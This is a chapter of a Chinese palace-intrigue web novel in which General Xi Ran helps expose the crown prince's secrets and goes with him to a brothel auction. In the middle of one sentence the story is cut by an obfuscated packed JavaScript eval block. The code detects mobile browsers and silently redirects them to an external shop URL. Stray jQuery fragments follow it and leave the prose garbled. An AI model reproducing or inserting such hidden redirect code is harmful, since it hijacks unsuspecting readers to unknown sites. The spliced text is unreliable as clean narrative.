太子眼神暗淡下,似是在思考,但未说什么,让席然先行回去。
“筱,我回来了。”席然翻窗进来,就看到云筱正在烛光前读书,他顺手抽出扔到一旁,指了指自己的眼睛,“夜深读书对眼睛不益。”
“这不是在等你无聊?”云筱拿手帕擦掉他脸侧血迹,“如何?演戏的滋味?”
“相当的爽!”席然喟叹声,撑着身子毫无形象的后仰,“但他真的会信吗?我说的话可经不起细究,到处都是破绽。”
“太子虽疑心重,但却是个脑子不转弯的主。”云筱评价道,“他再对你不信任,对你今日莫名的出现感到疑惑不安也没得办法,因为你知道了他的秘密,而且是足以让他无法翻身的秘密,就凭这一点他也不敢动你,而且你还将刺客一事托出,这会让他神经敏感,对周围人失去最开始的信任,而你现在成了知道他秘密的唯一一个,他会不自觉对你产生依赖。”
“也对。”席然面带遗憾,“谁能想到从小看着自己长大的人会想加害于自己,或是从小便听命于他人。”
“我想太子现在应该也已经猜到这刺客真正的主人是谁了。”
“你是说皇上?”
“嗯,这并不难。”
太监自小跟着太子,从太子咿呀学步到少年武术,再到如今撑起一方,能自小在他身边安插眼线,做到这般的也只能是比他更年长,势力更为远大的,他的父亲,当今的圣上。
“但知道又能如何,天下以皇上为尊,即使这件事天下皆知,错的也能被摆正为对的,而太子所处位置只会更加被动惶恐,皇上在暗他在明,现在唯一能做的也只是不打草惊蛇,静观其变,但于我们,也算是间接除掉了会威胁我们两人最大的困难。”
“他会失去对皇上的信任吗?”
“这便不得知,因为……”云筱勾起席然的一缕头发把玩,“他们从一开始,太子生母不断加害后宫子嗣时,皇上对太子的信任也许就不曾存在,血缘联系间,太子未必不知道皇上对他的戒备。”
“真乱。”席然晃晃脑袋,一个头两个大,“宫中之事不是常人可以参与,早些休息吧,刚刚喝了你炖的汤,现在整个胃都暖呼呼的。”
“我就知道那汤准是要进你肚子。”云筱刮他鼻尖,哄他道,“行了,今日太累,也该早早睡下,明日该是出宫办事。”
“筱,明早还想喝你煮的粥。”
“行。”
果然,关于刺客一事,东宫并未起传言躁动,就如消失的那两人似从未出现过,一切安生平和,犹如往常。
太子却在某日突发奇想邀请席然去寻欢作乐,要带他去好地方。
“何地?”难得遇到一个好天气,席然一身腱子肉在阳光下反出亮光,“近日边关战况不详,臣不知何日便要离开,需紧急加练,怕是要拒了这邀约,还望殿下海涵。”
“春风楼可知?”太子凑他耳边,神神秘秘。
“里面美酒美食多?”
“不仅…”太子故弄玄虚,“里面美人更多!各式都有,练武什么时候都行,可这地不是什么时候都能去,本宫见席将军不是每日扎在这强身迫体,就是跟着先生读书写字,身边连个女子的味都没有,本宫可听说今夜有个新姑娘要来,去凑个热闹,如何?今日带你去玩一遭!”
席然思虑番,还是答应下来,回去便同云筱讲了此事,盘算多日的计划终是得以实行。
“席然,行事多加小心。”
夜半,春风楼里热闹非凡,一座约半丈高的古楼灯火通明,装潢亮堂,门口迎接女子声音动听,可谓是让人眼热向往的场面。
轻歌曼舞纱丝飘,觥筹交错客引来。
席然揉揉眼睛,被一身常服的太子拉着胳膊进去,“席然,这地如何?你可欢喜?”
“过于吵闹了。”席然兴致不高,淡淡留下句。
太子瞥他一眼,未在乎他冷淡神色,自顾攀谈起来,“这楼如此兴盛,有本宫…咳咳,我一半的功劳,这里白日是普通旅店酒馆,做饭食营生,晚上摇身一变成男人的宝地,不仅钱赚的盆满钵满,这滋味也很是销魂,等着我给你找个合你口味的美人来。”
“哎呦!公子可算是来了,人家等你等的花都谢了。”一花蝴蝶般的女子忽地扑到太子身上,眸中含着泪水,“都多长时间没见了,哎呀,这小公子是谁?怎一双蓝色眼睛,长得这般俊俏!“
太子怕席然说漏两人的身份,忙接过话茬,“这是我一朋友,第一次来这。”
他冲女子眨眨眼,女子瞬间明白他的意思,“知道了爷,只要有钱,咱这什么样的没有?今夜正巧来了个新的姑娘,听说还没被人碰过呢!长得也是能掐出水来,爷可不能喜新厌旧。”
“怎会?”太子搂住她,信誓旦旦道,“我来这不就来找你吗?我对你多宠爱你还不知?走了,爷带你进屋子好好伺候。”
“男人就会撒谎!”女子扭着腰,身体重心的一半压在太子身上,两人紧依着向楼上去。
席然平静的面庞在此刻产生波动,他上前两步拽住太子,眼神却是看向他怀里的女子,“今夜那女子确实很美?”
“自然。”女子自信叉腰,“虽小爷长得也实在俊俏,但今夜牡丹陪你绝对绰绰有余。”
“怎么?有了兴致了?”太子打趣他。
席然犹豫片刻,认真点头,“不过我没来过这种地方,这段日子又一直在军营生活,不知道该如何才能……得到那女子。”
“哈哈哈…这很正常,不用羞涩。”太子听到他难得的示弱,大笑起,搂着女子换了个方向,“今夜先不急着行事,你随我来二楼看台,这可是最佳观赏地。”
看台直对华丽舞台,太子怀中女子亲昵为他斟酒,“听阿娘说,这女子本是在戏班子中的头牌,结果戏班子因着天灾死的死,病的病,她没有办法才来投靠阿娘,阿娘为了提高她的身价,特意早早放出势头,吸引众多客人来,爷不会今晚看完新人跳舞就忘了人家吧!”
“争风吃醋。”太子被哄得开心,揽她紧些,荷包里的银票塞她怀中,“赏你的,这地方来来回回这么多新人,我哪一次来不都是找你!”
“爷真大方,人家最爱伺候爷!”
“贯会说好话。”
席然冷漠的看着两人,余光不停扫向下方台面,此景视野宽广,的确是个好地方。
不久,随着一声音乐悠扬,烛火点燃,所有光亮聚集于一楼正中央台面,忽地,从二楼空中落下一身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14061250|149275||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着轻纱的女子,头戴珍珠银钗,发髻高齐,眼眸狭长,似玛瑙黑石扫过众人,白色面纱若有若无的显出油润红唇,勾人心间,飘带缠绕,如仙子翅膀从天而降俯视人间。
但明明二楼都是贵客,却未曾给过眼神,而是直直落到一楼翩翩起舞,身姿摇曳,
起舞间,眼眸不经意望向太子,又很快掠过,
眼眸对上的一瞬,太子顷刻被勾了魂,一股熟悉感从心底喷涌而出,热意缠紧身体裹挟。
舞毕,阿娘上台,热切向众人介绍,“这就是咱们今夜牡丹,各贵客说美不美?”
“美!”
“美!”
众人被勾的眼馋。
阿娘站在台上,宣布了今晚的报价,“这牡丹姑娘可是天下尤物,价钱自是不能太低,起拍价为一千两!”
众人跃跃欲试的心很快凉了个彻底,都开始犹豫起,许久才听见第一声,“我出,一千一百两!”
“我出一千一百五十两!”
“第一个出钱的是南城开珠宝铺的公子,家中可有钱的紧。”怀中女子为早已恍神的太子介绍,“紧接着的是北城的衣料铺的公子……”
席然端起酒杯轻抿了口,突然开口打断女子的话,同太子问道,“想不想知道这女子的真是面貌?”
“说什么呢?”太子回过神,羞愤欲滴,恨恨道,“我对她没有兴趣。”
说着便要揽着怀中女子离开,席然出声阻止,“只是看一眼的事,而且我没有钱,需要公子的支持,况且我也好奇。”
“好奇什么?”
“好奇女子的长相,我总觉得莫名熟悉。”
“你……”那种不受控的,让人心底发颤的感觉再次盈满全身,太子紧张的直咽唾沫,“我……”
席然没有给他狡辩的机会,手中纸团弹向楼下,擦过牡丹面纱撞至梁柱。
还未待众人反应过来,牡丹面纱便已掉落,随即爆发的是雷鸣般阵阵鼓掌声。
女子肤如凝脂,脸骨分明,长相中带些边疆异域风味,因着惊诧而微微睁大的眼睛更显出可爱。
“的确像。”席然小声嘀咕句,随即看向身旁的太子,他僵直于原地,眼睛死死盯着牡丹那张脸,无论身旁女子怎么喊都无动于衷。
不少人举牌加价,价格直逼两千万两。
刚刚的小插曲被视作春风楼给予的惊喜,阿娘因惊喜于今的贵客们的热情而无暇顾及。
“两千五百万第一次!”
“两千五百万第二次!”
席然恰是提醒,“公子,要来不及了。”
“两千五百万第……”
“我出三千万两!”
众人的视线被搂上吸引,太子双颊酡红,神色癫狂,瞳孔紧紧盯着牡丹,“我出三千万两。”
“三千万第一次!”
“三千万第二次!”
“三千万第三次!”
“成交!”
牡丹望向来,太子却侧过脸躲开她的视线,瘫软在椅背上,似丧失所有气力。
“公子可欢喜?”席然将他问自己的第一个问题抛回去。
太子闭上眼,没有回答。
此时,阿娘已经推着牡丹上楼来。